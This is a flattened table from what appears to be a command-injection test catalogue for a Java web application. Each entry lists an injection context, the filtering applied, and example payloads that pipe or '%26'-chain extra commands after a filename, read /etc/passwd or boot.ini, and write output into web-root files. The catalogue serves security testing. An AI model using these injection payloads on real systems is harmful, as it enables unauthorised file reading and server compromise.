| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Full OS Command With Prefix | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): cmd.exe /c dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Full OS Command No Prefix | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): | dir c:\secret-directory\ + Independent Exploit 2 (Linux): | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\secret-directory\ + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\secret-directory\ + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Full OS Postfix Command | +ANY | Postfix Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): type c:\boot.ini + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Postfix Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): type c:\boot.ini + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Postfix Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): type c:\boot.ini + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Partial OS Postfix Command | +ANY | Postfix Statement/Command (After initial postfix command) | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): c:\boot.ini + Independent Exploit 2 (Windows): eclipse.ini | type c:\boot.ini + Independent Exploit 3 (Linux): /etc/passwd + Independent Exploit 4 (Linux): eclise.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Postfix Statement/Command (After initial postfix command) | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): c:\boot.ini + Independent Exploit 2 (Windows): eclipse.ini | type c:\boot.ini + Independent Exploit 3 (Linux): /etc/passwd + Independent Exploit 4 (Linux): eclise.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Postfix Statement/Command (After initial postfix command) | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): c:\boot.ini + Independent Exploit 2 (Windows): eclipse.ini | type c:\boot.ini + Independent Exploit 3 (Linux): /etc/passwd + Independent Exploit 4 (Linux): eclise.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Partial Command (filename) | +ANY | Mid Statement/Command with Fixed Postfix | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent14.txt" + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd >> /var/www/dircontent14.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Mid Statement/Command with Fixed Postfix | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent15.txt" + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd >> /var/www/dircontent15.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Mid Statement/Command with Fixed Postfix | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent16.txt" + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd >> /var/www/dircontent16.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Validation | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent17.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent17.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Validation | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent18.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent18.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Validation | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent19.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent19.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Removal | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent20.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent20.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Removal | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent21.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent21.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Pipe Input Removal | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - encoded & - %26): eclipse.ini %26 dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent22.txt" + Independent Exploit 2 (Linux - encoded & - %26): eclipse.ini %26 cat /etc/passwd >> /var/www/dircontent22.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Validation | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent23.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent23.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Validation | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent24.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent24.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Validation | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent25.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent25.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Removal | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent26.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent26.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Removal | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent27.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent27.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | Ampersand Input Removal | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows - |): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent28.txt" + Independent Exploit 2 (Linux - |): eclipse.ini | cat /etc/passwd >> /var/www/dircontent28.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Full OS Command With Prefix | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): cmd.exe /c dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Full OS Command No Prefix | +ANY | Initial Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): dir c:\secret-directory\ + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Partial Command (filename) | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): | dir c:\secret-directory\ + Independent Exploit 2 (Linux): | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\secret-directory\ + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Mid-End Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\secret-directory\ + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Full OS Postfix Command | +ANY | Postfix Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): type c:\boot.ini + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Postfix Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): type c:\boot.ini + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Postfix Statement/Command | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): type c:\boot.ini + Independent Exploit 2 (Linux): cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Partial OS Postfix Command | +ANY | Postfix Statement/Command (After initial postfix command) | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): c:\boot.ini + Independent Exploit 2 (Windows): eclipse.ini | type c:\boot.ini + Independent Exploit 3 (Linux): /etc/passwd + Independent Exploit 4 (Linux): eclise.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Postfix Statement/Command (After initial postfix command) | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): c:\boot.ini + Independent Exploit 2 (Windows): eclipse.ini | type c:\boot.ini + Independent Exploit 3 (Linux): /etc/passwd + Independent Exploit 4 (Linux): eclise.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Invalid Input | +ANY | Postfix Statement/Command (After initial postfix command) | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): c:\boot.ini + Independent Exploit 2 (Windows): eclipse.ini | type c:\boot.ini + Independent Exploit 3 (Linux): /etc/passwd + Independent Exploit 4 (Linux): eclise.ini | cat /etc/passwd + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Partial Command (filename) | +ANY | Mid Statement/Command with Fixed Postfix | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
+ Independent Exploit 1 (Windows): eclipse.ini | dir c:\ >> "C:\Program Files\Apache Software Foundation\Tomcat 7.0\webapps\ROOT\dircontent14.txt" + Independent Exploit 2 (Linux): eclipse.ini | cat /etc/passwd >> /var/www/dircontent14.txt + |
| OS Access Method: | Barriers: |
+ Default Input: | OS Type: | +Injection Context: | Prefix Requirement: | +Valid Response Stream: | +
| Runtime.getRuntime().exec("[injection]").waitFor() | None | Empty Input | +ANY | Mid Statement/Command with Fixed Postfix | None | +Text/Html | +
| + Sample Detection Structures: + |
|
+ [os-command](success) or + [time-delay os-command] (success) vs. + [invalid OS command] (failure) + |
| + Sample Exploit Structures: + |
|
+ Windows/Linux: [command][attacker host OR sensitive content] + |
| + Examples of Exploits: + |
|
